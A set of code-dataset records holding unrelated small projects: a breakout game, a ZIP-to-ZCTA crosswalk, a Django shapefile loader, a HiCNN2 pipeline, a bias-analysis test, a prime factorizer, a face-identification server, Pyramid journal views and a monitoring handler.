ball.dx\n #Ball release with mouse \n if mousePressed:\n key_mode = 0\n if ball.dx ==0:\n ball.dx = sqrt(ball.speed/2)\n ball.dy = -1 * ball.dx\n if key_mode == 0:\n padpos1 = mouseX \n \n #ball.pos_x = mouseX\n #ball.pos_y = mouseY\n \n #Paddle Movement left and right with keys \n if key_mode == 1: \n if keyPressed:\n if keyCode == LEFT:\n padpos1 = padpos1 - 10\n \n if keyCode == RIGHT:\n padpos1 = padpos1 + 10\n #Limit Paddle Movement to keep within the frame along x axis \n if padpos1 >= 670: \n padpos1 = 665 \n if padpos1 <= 30: \n padpos1 = 43\n \n #Locking Ball to paddle when ball x position is at 0 \n if ball.dx ==0:\n ball.pos_x = padpos1\n image(img, int(t), int(y))\n image(imgTop,0,-20)\n \n ball.draw(padpos1 - prev_padpos) \n pushMatrix()\n #padpos1 = 100\n translate(padpos1,0) \n paddle()\n popMatrix()\n ball.padpos = padpos1 \n #print(padpos1)\n #print(ball.pos_x)\n #print(ball.pos_y)\n textSize(16)\n text('score', width/2 - 25, 20)\n text(score, width/2 + 25, 20)\n image(imgBot,0,0)\n \n \n for brick in Bricks:\n if brick.active:\n if brick.hit_test(ball.pos_x, ball.pos_y - ball.sz):\n brick.active = False\n score += brick.points\n ball.dy = -ball.dy\n break\n if brick.hit_test(ball.pos_x, ball.pos_y + ball.sz):\n brick.active = False\n score += brick.points\n ball.dy = -ball.dy\n break\n if brick.hit_test(ball.pos_x - ball.sz, ball.pos_y):\n brick.active = False\n score += brick.points\n ball.dx = -ball.dx\n break\n if brick.hit_test(ball.pos_x + ball.sz, ball.pos_y):\n brick.active = False\n score += brick.points\n ball.dx = -ball.dx\n break\n # Now test the other parts of the ball\n \n # Collision detection type 2:\n # Bottom right corner\n \n if ball.hit_test(brick.pos_x + brick.w, brick.pos_y + brick.h):\n brick.active = False\n score += brick.points\n if ball.dx <= 0 and ball.dy <= 0:\n ball.dx, ball.dy = -ball.dy, -ball.dx\n else:\n if ball.dx > 0:\n ball.dy *= -1\n else:\n if ball.dy > 0:\n ball.dx *= -1\n break\n \n #Top left corner\n if ball.hit_test(brick.pos_x, brick.pos_y):\n brick.active = False\n score += brick.points\n if ball.dx >= 0 and ball.dy >= 0:\n ball.dx, ball.dy = -ball.dy, -ball.dx\n else:\n if ball.dx < 0:\n ball.dy *= -1\n else:\n if ball.dy < 0:\n ball.dx *= -1\n break\n #Top right corner\n if ball.hit_test(brick.pos_x + brick.w, brick.pos_y):\n brick.active = False\n score += brick.points\n if ball.dx <= 0 and ball.dy >= 0:\n ball.dx, ball.dy = ball.dy, ball.dx\n else:\n if ball.dx > 0:\n ball.dy *= -1\n else:\n if ball.dy < 0:\n ball.dx *= -1\n \n break\n #Botoom left corner\n if ball.hit_test(brick.pos_x, brick.pos_y + brick.h):\n brick.active = False\n score += brick.points\n if ball.dx >= 0 and ball.dy <= 0:\n ball.dx, ball.dy = ball.dy, ball.dx\n else:\n if ball.dx < 0:\n ball.dy *= -1\n else:\n if ball.dy > 0:\n ball.dx *= -1\n break\n \n #ball.game_over = True\n #ball.frame_count_lose = frameCount \n else: #when the game is over:\n if high_score < score:\n high_score = score\n textSize(72)\n fill(255)\n if game_won: #the victory screen\n if frameCount - frame_count_won > 300:\n image(imgStart,0,0)\n between_x = mouseX > 250 and mouseX < 450\n between_y = mouseY > 400 and mouseY < 460\n if mousePressed and between_x and between_y:\n restart()\n else:\n image(imgWin, 0 , 0 )\n \n #text('you won', 110, 150)\n #text('your score', 75, 275)\n #text(score, 190, 400)\n if ball.game_over: #the loose screen\n if frameCount - ball.frame_count_lose > 300:\n image(imgStart,0,0)\n between_x = mouseX > 250 and mouseX < 450\n between_y = mouseY > 400 and mouseY < 460\n if mousePressed and between_x and between_y:\n restart()\n else: \n image(imgGameOver,0,0)\n textAlign(CENTER)\n textSize(42)\n fill(156, 222, 255)\n text(score, 240, 400)\n text(high_score, 460, 400)\n \n #text('you lost', 110, 150)\n #text('your score', 75, 275)\n #text(score, 190, 400)\n \n","sub_path":"PaddleGlobal_March3rd.pyde","file_name":"PaddleGlobal_March3rd.pyde","file_ext":"pyde","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"581587955","text":"\"\"\"\r\nZIP-Code Crosswalks.\r\nTakes USA ZIP-Codes and returns 5 digit US Census Zip Code Tabulation Areas (ZCTAs)\r\nand/or their latitude & longitude centroid coordinates.\r\n\r\nBy J. A. Cooper https://github.com/cooperjaXC\r\n\"\"\"\r\n\r\nimport os, json, inspect, numpy as np, pandas as pd, openpyxl\r\n\r\n\r\ndef zip_code_formatter(postal_code):\r\n \"\"\"Formats a USA ZIP-Code into the correct 5-digit format.\"\"\"\r\n # Put in some safeguards here in case you get entries with zip 9s or zips w/o the leading 0s.\r\n postal_code = str(postal_code)\r\n if len(postal_code) > 5:\r\n postal_code = postal_code[:5]\r\n if \"-\" in postal_code:\r\n postal_code = postal_code.replace(\"-\", \"\").replace(\" \", \"\")\r\n # Use zfill()? https://stackoverflow.com/questions/733454/best-way-to-format-integer-as-string-with-leading-zeros\r\n if len(postal_code) == 3:\r\n # No longer only uses postal codes \"501\" and \"544\". Expanded to include US overseas territories.\r\n postal_code = \"00\" + postal_code\r\n if len(postal_code) == 4:\r\n postal_code = \"0\" + postal_code\r\n # Catch nulls and return None\r\n null_list = [\"0\", \"nan\", \"null\", \"none\", \"0none\", \"00nan\"]\r\n if (not postal_code) or (postal_code.lower() in null_list):\r\n postal_code = None\r\n return postal_code\r\n\r\n\r\nclass ZipCodes:\r\n \"\"\"Contains variables relating to ZIP-Codes and ZCTAs.\r\n 2010 Crosswalk data here comes from https://udsmapper.org/zip-code-to-zcta-crosswalk/ .\r\n This dictionary is based on the 2010 Census' ZCTA data and will need to be updated with the new 2020 geographies.\"\"\"\r\n\r\n def __init__(self, year=2020):\r\n # Establish the Census year in question\r\n try:\r\n year = int(year)\r\n except:\r\n print(\r\n \"Year value of\",\r\n year,\r\n \"is an invalid input for the Zip Code Class. Default of '2020' will be set.\",\r\n )\r\n year = 2020\r\n if year not in [2010, 2020]: # Census years\r\n if year < 2020:\r\n # years in the 2010s (before 2020) all operate on 2010 census definitions.\r\n year = 2010\r\n else:\r\n year = 2020\r\n self.year = str(year)\r\n\r\n # Find the path to the directory of JSONs containing ZIP-Code data.\r\n filepath = os.path.join(\r\n os.path.realpath(\r\n os.path.abspath(\r\n os.path.split(inspect.getfile(inspect.currentframe()))[0]\r\n )\r\n ),\r\n \"json\",\r\n )\r\n # If the `json` directory is in a sibling directory to the script\r\n if os.path.exists(filepath) is False:\r\n filepath = os.path.join(\r\n os.path.dirname(os.path.dirname(filepath)), os.path.basename(filepath)\r\n )\r\n\r\n # Establish year-specific variables\r\n # # ZIP-Code -> ZCTA Crosswalks\r\n crosswalk_path = os.path.join(\r\n filepath, \"zipzcta_crosswalk_\" + self.year + \".json\"\r\n )\r\n with open(crosswalk_path) as open_cross:\r\n # A dictionary containing the ZIP-Code (key; string)\r\n # and corresponding ZCTA (value; string) for the given [year].\r\n self.crosswalk = json.load(open_cross)\r\n latlon_path = os.path.join(\r\n filepath, \"zcta_latloncentroid_\" + self.year + \".json\"\r\n )\r\n # # ZCTA -> Latitude & Longitude Centroids\r\n with open(latlon_path) as open_ll:\r\n # A dictionary containing the ZCTA (key; string)\r\n # and corresponding [Latitude, Longitude] coordinates (value; list) for the given [year].\r\n self.latlon_centroids = json.load(open_ll)\r\n\r\n\r\ndef zip_code_crosswalk(\r\n postal_code, year=2020, use_postalcode_if_error=False, suppress_prints=False\r\n):\r\n \"\"\"This function takes a (1) postal ZIP Code and transforms it into a Zip Code Tabulation Area,\r\n the US Census-defined polygonal region for a ZIP Code.\r\n Postal ZIP Codes are not indicative of a continuous region; rather, they are functional attributes used by the\r\n US Postal Service to deliver mail & goods. They can refer to a single post office (point), a discontinuous\r\n region, or an area that transcends state borders. The ZCTA is the Census' way of polygonizing and ordering this\r\n messy but commonly-used geographic identifying attribute.\r\n Crosswalk data here comes from https://udsmapper.org/zip-code-to-zcta-crosswalk/ .\r\n This function has been updated with the 2020 census' new ZCTA definitions.\"\"\"\r\n zipcrosswalk = ZipCodes(year).crosswalk\r\n\r\n # Put in some safeguards here in case you get entries with zip 9s or zips w/o the leading 0s.\r\n postal_code = zip_code_formatter(postal_code)\r\n\r\n # Get ZCTA\r\n if postal_code in zipcrosswalk:\r\n zcta = zipcrosswalk[postal_code]\r\n else:\r\n nozctawarning = str(postal_code) + \" is not in CCAoA's records.\"\r\n if use_postalcode_if_error is True:\r\n if suppress_prints is False:\r\n print(nozctawarning, \"The input postal code will be returned instead.\")\r\n zcta = postal_code\r\n else:\r\n if suppress_prints is False and str(postal_code).lower() != \"none\":\r\n print(\r\n nozctawarning,\r\n \"No ZCTA will be returned. Please double check your entry and try again.\",\r\n )\r\n zcta = None\r\n\r\n return zcta\r\n\r\n\r\ndef df_zip_crosswalk(\r\n dataframe,\r\n zip_field_name,\r\n year=2020,\r\n zcta_field_name=\"zcta\",\r\n use_postalcode_if_error=False,\r\n suppress_prints=False,\r\n):\r\n \"\"\"Takes a Pandas Dataframe with a ZIP-Code field and returns a ZCTA field using the crosswalk function.\r\n Returns a Pandas dataframe.\"\"\"\r\n if zip_field_name not in dataframe.columns.to_list():\r\n print(\r\n zip_field_name,\r\n \"not in the submitted dataframe. No ZCTA field will be added.\",\r\n )\r\n return dataframe\r\n else:\r\n outdf = dataframe.copy()\r\n outdf[zcta_field_name] = (\r\n outdf[zip_field_name]\r\n .fillna(\"0\")\r\n .astype(int)\r\n .astype(str)\r\n .apply(\r\n lambda x: zip_code_crosswalk(\r\n x,\r\n year=year,\r\n use_postalcode_if_error=use_postalcode_if_error,\r\n suppress_prints=suppress_prints,\r\n )\r\n )\r\n )\r\n return outdf\r\n\r\n\r\ndef lat_lon_centroid(\r\n postal_code, year=2020, use_postalcode_if_error=False, suppress_prints=False\r\n):\r\n \"\"\"Returns the latitude and longitude coordinates in the centroid of the postal ZIP code's ZCTA\r\n as defined by the US Census Bureau's TIGER shapefiles. The function will return a list: [lat, lon].\r\n These centroids are not guaranteed to be on land.\r\n If there is a body of water near the geometric center of the ZCTA, the centroid may be placed offshore.\"\"\"\r\n zcta = zip_code_formatter(\r\n zip_code_crosswalk(postal_code, year, use_postalcode_if_error, suppress_prints)\r\n )\r\n latlon_crosswalk = ZipCodes(year).latlon_centroids\r\n\r\n if zcta in latlon_crosswalk:\r\n centroid = latlon_crosswalk[zcta]\r\n else:\r\n if suppress_prints is False:\r\n zip_is_zcta = zcta == postal_code\r\n if zip_is_zcta:\r\n no_centroid_warning = (\r\n str(postal_code) + \" does not have a centroid in CCAoA's records\"\r\n )\r\n else:\r\n no_centroid_warning = (\r\n str(postal_code)\r\n + \"'s tabulation area \"\r\n + str(zcta)\r\n + \" does not have a centroid in CCAoA's records\"\r\n )\r\n no_centroid_warning = (\r\n no_centroid_warning\r\n + \" for the census year \"\r\n + str(year)\r\n + \".\\n No centroid will be returned. Please double check your entry and try again.\"\r\n )\r\n print(no_centroid_warning)\r\n # There is hot debate in coding communities on whether to reutrn None or an empty list for situations like this.\r\n # https://softwareengineering.stackexchange.com/questions/120355/is-it-better-to-return-null-or-empty-values-from-functions-methods-where-the-ret\r\n # https://www.reddit.com/r/Python/comments/30yb5t/return_none_or_not_to_return_none/\r\n # I have chosen to return the None as coordinates within a list\r\n # # so as to not destroy downstream list parsing efforts.\r\n centroid = [None, None]\r\n return centroid\r\n\r\n\r\ndef df_latlon_centroids(\r\n dataframe,\r\n zip_in_field_name,\r\n year=2020,\r\n keep_coordinates_field=False,\r\n use_postalcode_if_error=False,\r\n suppress_prints=False,\r\n):\r\n \"\"\"\r\n Takes a Pandas Dataframe with a ZIP-Code field and returns a [latitude, longitude] coordinates field\r\n using the `lat_lon_centroid` function. Returns a Pandas dataframe.\r\n \"\"\"\r\n if zip_in_field_name not in dataframe.columns.to_list():\r\n print(\r\n zip_in_field_name,\r\n \"not in the submitted dataframe. No ZCTA centroid fields will be added.\",\r\n )\r\n return dataframe\r\n else:\r\n outdf = dataframe.copy()\r\n coordfieldname = \"coordinates\"\r\n # Generate the coordinates field with a [lat, lon] list\r\n outdf[coordfieldname] = outdf[zip_in_field_name].apply(\r\n lambda x: lat_lon_centroid(\r\n x,\r\n year=year,\r\n use_postalcode_if_error=use_postalcode_if_error,\r\n suppress_prints=suppress_prints,\r\n )\r\n )\r\n # Split the coordinates field into a lat and lon field separately.\r\n outdf[\"lat\"] = outdf[coordfieldname].apply(lambda x: x[0])\r\n outdf[\"lon\"] = outdf[coordfieldname].apply(lambda x: x[1])\r\n # Remove the coordinates field unless the input argument says otherwise\r\n if keep_coordinates_field is False:\r\n outdf = outdf.drop(coordfieldname, axis=1)\r\n return outdf\r\n","sub_path":"zip_codes.py","file_name":"zip_codes.py","file_ext":"py","file_size_in_byte":10133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225761295","text":"import os\nfrom django.contrib.gis.utils import LayerMapping\nfrom .models import Carreteras\n\ncarreteras_mapping = {\n 'id' : 'ID',\n 'tipo' : 'TIPO',\n 'clasifica' : 'CLASIFICA',\n 'codigo' : 'CODIGO',\n 'num' : 'NUM',\n 'geom' : 'MULTILINESTRING',\n}\ncarreteras_shp = os.path.abspath(\n os.path.join(os.path.dirname(__file__), 'data', 'Carreteras_GC.shp'),\n)\n\ndef run(verbose=True):\n lm = LayerMapping(\n Carreteras, carreteras_shp, carreteras_mapping,\n transform=False, encoding='UTF-8',\n )\n lm.save(strict=True, verbose=verbose)\n\n\n\n\n","sub_path":"green/loadcarret.py","file_name":"loadcarret.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"583007464","text":"import subprocess\nimport os\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__)) + \"/\"\n\nsubMats_dir = dir_path + \"HiCNN2_package/matrices/subMats/\"\npred_subMats_dir = dir_path + \"HiCNN2_package/matrices/predicted_subMats/\"\nscript_path = dir_path + \"HiCNN2_package/HiCNN2_predict.py\"\nmodel_path = dir_path + \"HiCNN2_package/checkpoint/model_HiCNN21_16.pt\"\n\n\nif not os.path.exists(pred_subMats_dir):\n os.makedirs(pred_subMats_dir)\n\n\nfor filename in os.listdir(subMats_dir):\n if filename.endswith(\".submats.npy\"):\n filepath = os.path.join(subMats_dir, filename)\n print(filepath)\n filename = os.path.splitext(filename)[0] # the .subMats and .index files should not still have the .reads ending\n subprocess.call([\"python\", script_path, \"-f1\", filepath, \"-f2\", os.path.join(pred_subMats_dir, (filename + \"_predicted\")), \n \"-mid\", \"1\", \"-m\", model_path, \"-r\", \"16\"])\n\n\n\n\n\n#example\n# python HiCNN2_predict.py -f1 subMats/GSM2109888_1_oocyte_NSN-40kb.subMats.npy \n# -f2 subMats/GSM2109888_1_oocyte_NSN-40kb_high_res -mid 1 -m checkpoint/model_HiCNN21_16.pt -r 16\n\n#\"python HiCNN2_predict.py -f1 data/chr15.subMats.npy -f2 data/chr15.subMats_HiCNN21_16 -mid 1 -m checkpoint/model_HiCNN21_16.pt -r 16\"\n#\n#\t\"-f1\" is followed by the input file generated in step (4). \n#\t\"-f2\" is followed by the output file. \n#\t\"-mid 3\" means that we are using HiCNN2-3. \n#\t\"-m\" indicates the best model we want to use. We provide 6 checkpoint files in the \"checkpoint\" folder. The checkpoint files are named with the format \"model_HiCNN2*_#.pt\", where \"*\" may be 1/2/3 representing the three architectures and \"#\" may be 8/16/25 representing the three down sampling ratios (1/8, 1/16, and 1/25).\n","sub_path":"Pipeline/HiCNN2/predict_subMats_pipeline.py","file_name":"predict_subMats_pipeline.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87626967","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport model_bias_analysis as mba\n\nclass ModelBiasAnalysisTest(tf.test.TestCase):\n def add_examples(self, data, model_scores, label, subgroup):\n num_comments_added = len(model_scores)\n data['model_score'].extend(model_scores)\n data['label'].extend([label for a in range(num_comments_added)])\n data['subgroup'].extend([subgroup for a in range(num_comments_added)])\n\n def test_squared_diff_integral(self):\n x = np.linspace(0.0, 1.0, num = 100)\n y = [1]*len(x)\n result = mba.squared_diff_integral(y, x)\n self.assertAlmostEquals(result, 0.333, places = 2) \n\n def test_average_squared_equality_gap_no_bias(self):\n no_bias_data = {'model_score': [], 'label': [], \n 'subgroup': []}\n low_model_scores = [0.1, 0.2, 0.22, 0.24, 0.26, 0.28, 0.3, 0.4]\n high_model_scores = [0.7, 0.8, 0.82, 0.84, 0.86, 0.88, 0.9, 1.0]\n self.add_examples(no_bias_data, low_model_scores, 0, False)\n self.add_examples(no_bias_data, low_model_scores, 0, True)\n self.add_examples(no_bias_data, high_model_scores, 1, False)\n self.add_examples(no_bias_data, high_model_scores, 1, True)\n no_bias_df = pd.DataFrame(no_bias_data)\n \n pos_aseg, neg_aseg = mba.average_squared_equality_gap(no_bias_df,\n 'subgroup',\n 'label',\n 'model_score')\n self.assertAlmostEquals(pos_aseg, 0.0, places = 1)\n self.assertAlmostEquals(neg_aseg, 0.0, places = 1)\n\n def test_average_squared_equality_gap_small_bias(self):\n no_bias_data = {'model_score': [], 'label': [], \n 'subgroup': []}\n low_model_scores_1 = [0.1, 0.12, 0.14, 0.15, 0.16, 0.18, 0.2]\n low_model_scores_2 = [x + 0.11 for x in low_model_scores_1]\n high_model_scores_1 = [0.7, 0.72, 0.74, 0.75, 0.76, 0.78, 0.8]\n high_model_scores_2 = [x + 0.11 for x in high_model_scores_1]\n self.add_examples(no_bias_data, low_model_scores_1, 0, False)\n self.add_examples(no_bias_data, low_model_scores_2, 0, True)\n self.add_examples(no_bias_data, high_model_scores_1, 1, False)\n self.add_examples(no_bias_data, high_model_scores_2, 1, True)\n no_bias_df = pd.DataFrame(no_bias_data)\n \n pos_aseg, neg_aseg = mba.average_squared_equality_gap(no_bias_df,\n 'subgroup',\n 'label',\n 'model_score')\n self.assertAlmostEquals(pos_aseg, 0.33, places = 1)\n self.assertAlmostEquals(neg_aseg, 0.33, places = 1)\n \n\n\nif __name__ == \"__main__\":\n tf.test.main()","sub_path":"unintended_ml_bias/model_bias_analysis_test.py","file_name":"model_bias_analysis_test.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406944953","text":"#Σολανάκης \r\n#Σπυρίδων\r\n#Π18141\r\n#Το πρόγραμμα είναι γραμμένο χρησιμοποιώντας την έκδοση Python 3.7.0 Shell σύμφωνα με το IDLE\r\n\r\n#Ζητάμε από το χρήστη έναν ακέραιο αριθμό>1\r\nnumber=int(input(\"Παρακαλώ δώστε έναν ακέραιο μεγαλύτερο του 1: \"))\r\na=2\t\t\t #Το 1 είναι παράγοντας κάθε αριθμού, οπότε ξεκινάμε να τους ψάχνουμε από το 2 που είναι ο 1ος πρώτος αριθμός\r\nparagontes=[] #δήλωση της λίστας με τους πρώτους παράγοντες\r\ncounter=0 #μετρητής που θα μετράει πόσοι είναι οι παράγοντες του αριθμού και δείχνει το μέγεθος της λίστας paragontes\r\n#Ισχύει ότι αν ένας αριθμός α διαιρείται από έναν αριθμό β και ο β διαιρείται από τον γ, τότε ο γ διαιρεί και τον α\r\nwhile number>1: \r\n\tif number%a==0: #ελέγχουμε αν ο αριθμός a διαιρεί το number\r\n\t\tparagontes.append(a) #αν ��ο διαιρεί, είναι παράγοντας του αριθμού που ψάχνουμε και το καταχωρούμε στη λίστα paragontes\r\n\t\tcounter=counter+1\r\n\t\tnumber=(number/a)\t \r\n\telse:\r\n\t\ta=a+1 #αν ο a δεν διαρεί το number, τότε προχωράμε στον επόμενο\r\n\r\n\r\np=1 \t\t\t\t #θα εκτυπώνουμε τους παράγοντες διάφοροι του 1\r\nfor i in range(0,counter): #βρόχος επανάληψης στον οποίο θα εμφανίζονται οι πρώτοι παράγοντες\r\n\tif paragontes[i]!=p: #ελέγχουμε αν ο αριθμός της λίστας είναι διάφορος του προηγούμενού του, ώστε να μην ξαναψάχνουμε στη λίστα το πλήθος εμφανίσεών του\r\n\t\tn=paragontes.count(paragontes[i]) #βρίσκουμε το πλήθος των εμφανίσεων του αριθμού μέσα στη λίστα\r\n\t\tp=paragontes[i] \r\n\t\tif n==1: \r\n\t\t\tprint(\"(\"+str(p)+\")\", end='') #εμφανίζεται μόνο ο πρώτος παράγοντας χωρίς να είναι υψωμένος σε δύναμη αφού είναι υψωμένος στην 1.\r\n\t\telse:\r\n\t\t\tprint(\"(\"+str(p)+\"**\"+str(n)+\")\", end='') #εμφάνιση του αριθμού υψωμένο στη δύναμη μέσα σε παρενθέσεις\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n","sub_path":"Ergasia_2.py","file_name":"Ergasia_2.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"568506845","text":"Eleves = [[\"Yannis\",\"Jeras\",\"Aminata\"],[\"Adem\",\"Rémi\",\"Kevindra\"]]\r\nL = []\r\n\r\ndef Algorithme():\r\n for sous_listes in Eleves:\r\n for items in sous_listes:\r\n L.append(items)\r\n dictionnaire = {}\r\n for items in L:\r\n points = 0\r\n for sous_listes in Eleves:\r\n for itemsSousListes in sous_listes:\r\n if itemsSousListes == items:\r\n points += 10 / ( sous_listes.index(itemsSousListes) + 1 )\r\n dictionnaire[items] = str(int(points)) + \" points\"\r\n print(dictionnaire)\r\n\r\nAlgorithme()","sub_path":"Traitement de données.py","file_name":"Traitement de données.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399549944","text":"#!/usr/bin/env python2\nimport argparse\nimport importlib # msg routing imports\nfrom config import * # server configuration\nfrom uids.UserDB import UserDB # user database\nfrom uids.features.EmbeddingGen import EmbeddingGen # CNN embedding generator\nfrom uids.networking.TCPServer import TCPServerBlocking # tcp networking\nfrom uids.utils.Logger import Logger as log\nfrom uids.v2.MultiClassClassifier import MultiCl\n\n\n# import request types\nM_REQUESTS = importlib.import_module(\"request_types\")\n\n\nclass IdentificationServer(TCPServerBlocking):\n\n classifier = None\n user_db = None\n embedding_gen = None\n # message routing\n req_lookup = ROUTING['REQUEST']['NAME']\n\n def __init__(self, host, port):\n TCPServerBlocking.__init__(self, host, port)\n\n # CNN generator\n self.embedding_gen = EmbeddingGen()\n\n # User DB\n self.user_db = UserDB()\n\n # Classifier - linked to database\n # self.classifier = OfflineMultiClassTree(self.user_db, 'OCSVM')\n self.classifier = MultiCl(self.user_db)\n\n def handle_request(self, conn, addr):\n \"\"\"\n general request handler\n return: Breaks user connection, in case batch request handling is enabled, else: ignored\n \"\"\"\n # request_id = self.receive_uchar(conn, timeout=9999)\n\n byte = conn.recv(1)\n if not byte:\n log.info('server', \"Client has disconnected\")\n return False\n\n request_id = ord(byte)\n\n if request_id in self.req_lookup:\n req_type = self.req_lookup[request_id]\n log.info('server', \"Incomming request: \" + req_type)\n\n try:\n req = getattr(M_REQUESTS, req_type)\n # feedback handle\n handle = [True]\n # handle request\n req(self, conn, handle=handle)\n # batch mode: False: breaks client communication\n # regular mode: ignored\n return handle[0]\n except AttributeError:\n log.error(\"Request model '\"+req_type+\"' is not yet implemented or an Exception occurred.\")\n else:\n log.error(\"Unsupported request type: \" + str(request_id))\n\n # batch mode: communication continues (can be used to break client loop)\n # regular mode: ignored\n return True\n\n# ================================= #\n# Main\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--port', type=int, help=\"Server port.\", default=8080)\n parser.add_argument('--single_request', dest='single_req_per_conn', help=\"Reconnect after each request.\", action='store_true')\n parser.add_argument('--multi_request', dest='single_req_per_conn', action='store_false')\n parser.set_defaults(single_req_per_conn=False)\n\n args = parser.parse_args()\n\n server = IdentificationServer('', args.port)\n server.start_server(one_req_per_conn=args.single_req_per_conn, verbose=args.single_req_per_conn is True)\n","sub_path":"uids/services/v2/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625766321","text":"\"\"\"Render our views from jinja2 templates.\"\"\"\n\nfrom pyramid.response import Response\nfrom pyramid.view import view_config\n\nfrom sqlalchemy.exc import DBAPIError\n\nfrom ..models import MyModel\n\nimport datetime\nfrom pyramid.httpexceptions import HTTPFound\nfrom learning_journal.security import check_credentials\nfrom pyramid.security import remember, forget\n\n\n@view_config(route_name='home', renderer='../templates/list.jinja2', require_csrf=True)\ndef home_page(request):\n \"\"\"Render the home page.\"\"\"\n try:\n query = request.dbsession.query(MyModel)\n entries = query.all()\n except DBAPIError:\n return Response(db_err_msg, content_type='text/plain', status=500)\n return {'entries': entries}\n\n\n@view_config(route_name=\"detail\", renderer=\"../templates/detail.jinja2\", require_csrf=False)\ndef detail_page(request):\n \"\"\"View the detail page.\"\"\"\n entry_id = int(request.matchdict['id'])\n query = request.dbsession.query(MyModel)\n entries = query.get(entry_id)\n return {\"entries\": entries}\n\n\n@view_config(route_name=\"edit\", renderer=\"../templates/edit.jinja2\", permission=\"cleared\")\ndef edit_page(request):\n \"\"\"View the edit page.\"\"\"\n try:\n data = request.dbsession.query(MyModel).get(request.matchdict['id'])\n if request.method == \"POST\":\n data.title = request.POST[\"title\"]\n data.body = request.POST[\"body\"]\n request.dbsession.flush()\n return HTTPFound(location=request.route_url('home'))\n return {'entries': data}\n except DBAPIError:\n return Response(db_err_msg, content_type='text/plain', status=500)\n\n\n@view_config(route_name=\"new\", renderer=\"../templates/new.jinja2\", permission=\"cleared\")\ndef new_page(request):\n \"\"\"View the edit page.\"\"\"\n try:\n if request.method == \"POST\":\n new_model = MyModel(title=request.POST['title'],\n body=request.POST['body'],\n creation_date=datetime.date.today()\n )\n request.dbsession.add(new_model)\n return HTTPFound(location=request.route_url('home'))\n return {}\n except DBAPIError:\n return Response(db_err_msg, content_type='text/plain', status=500)\n\n\n@view_config(route_name=\"login\", renderer=\"../templates/login.jinja2\", require_csrf=False)\ndef login_page(request):\n \"\"\"Log the user in and remembers their credentials.\"\"\"\n if request.POST:\n username = request.POST[\"username\"]\n password = request.POST[\"password\"]\n if check_credentials(username, password):\n auth_head = remember(request, username)\n return HTTPFound(request.route_url('home'), headers=auth_head)\n return {}\n\n\n@view_config(route_name=\"logout\")\ndef logout_view(request):\n \"\"\"Log the user out by forgetting their credentials.\"\"\"\n auth_head = forget(request)\n return HTTPFound(request.route_url('home'), headers=auth_head)\n\n\ndb_err_msg = \"\"\"\\\nPyramid is having a problem using your SQL database. The problem\nmight be caused by one of the following things:\n\n1. You may need to run the \"initialize_learning_journal_db\" script\n to initialize your database tables. Check your virtual\n environment's \"bin\" directory for this script and try to run it.\n\n2. Your database server may not be running. Check that the\n database server referred to by the \"sqlalchemy.url\" setting in\n your \"development.ini\" file is running.\n\nAfter you fix the problem, please restart the Pyramid application to\ntry it again.\n\"\"\"\n","sub_path":"learning_journal/views/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254212734","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n#auther:keevi\nimport kv_db,time\nfrom django.shortcuts import HttpResponse\n\nKEYS=['fuwei','ddddss']\ndef handle_info(request):\n now_time = int(time.time())\n keys = request.GET.get('keys')\n if keys in KEYS:\n server_info = request.POST\n Ip = request.GET.get('ip')\n Hostname = request.GET.get('hostname')\n\n try:\n\n disk=server_info['disk']\n\n load= server_info['load']\n\n traffic= server_info['traffic']\n\n cpuNum=server_info['cpuNum']\n\n memTotal = server_info['memTotal']\n hardSpace= server_info['hard_info']\n\n #print server_info\n #updtecharts info\n db = kv_db.Day.objects.create(sys_ip=Ip,sys_hostname=Hostname,sys_load=load,sys_disk=disk,sys_traffic=traffic,up_time=now_time)\n db.save()\n #end\n #update hard info\n time_m = time.strftime('%M')\n if len(kv_db.ServerHardInfo.objects.filter(hostIp=Ip)) == 0:\n hardInfoUpdate = kv_db.ServerHardInfo.objects.create(hostName=Hostname,hostIp=Ip,cpuNum=cpuNum,memTotal=memTotal,hardDisk=hardSpace)\n hardInfoUpdate.save()\n else:\n #elif time_m ==\"00\" or time_m ==\"01\" or time_m ==\"40\":\n\n hardInfo = kv_db.ServerHardInfo.objects.get(hostIp=Ip)\n hardInfo.hostName = Hostname\n hardInfo.hostIp = Ip\n hardInfo.cpuNum = cpuNum\n hardInfo.memTotal = memTotal\n hardInfo.hardDisk = hardSpace\n hardInfo.save()\n return HttpResponse(\"Monitoring Success\")\n except:\n return HttpResponse(\"The client version of the low \")\n #data_update(Ip,Hostname,load,disk,traffic)\n\n else:\n return HttpResponse(\"Your key error, please check your key\")\n\ndef data_update(ip,hostname,disk,load,traffic,up_time=None):\n db = kv_db.Day.objects.create(sys_ip=ip,sys_hostname=hostname,sys_load=load,sys_disk=disk,sys_traffic=traffic)\n db.save()\n\n","sub_path":"host/backend/kv_handle.py","file_name":"kv_handle.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"581459682","text":"import os\nimport torch\nfrom PIL import Image\n\n\nclass 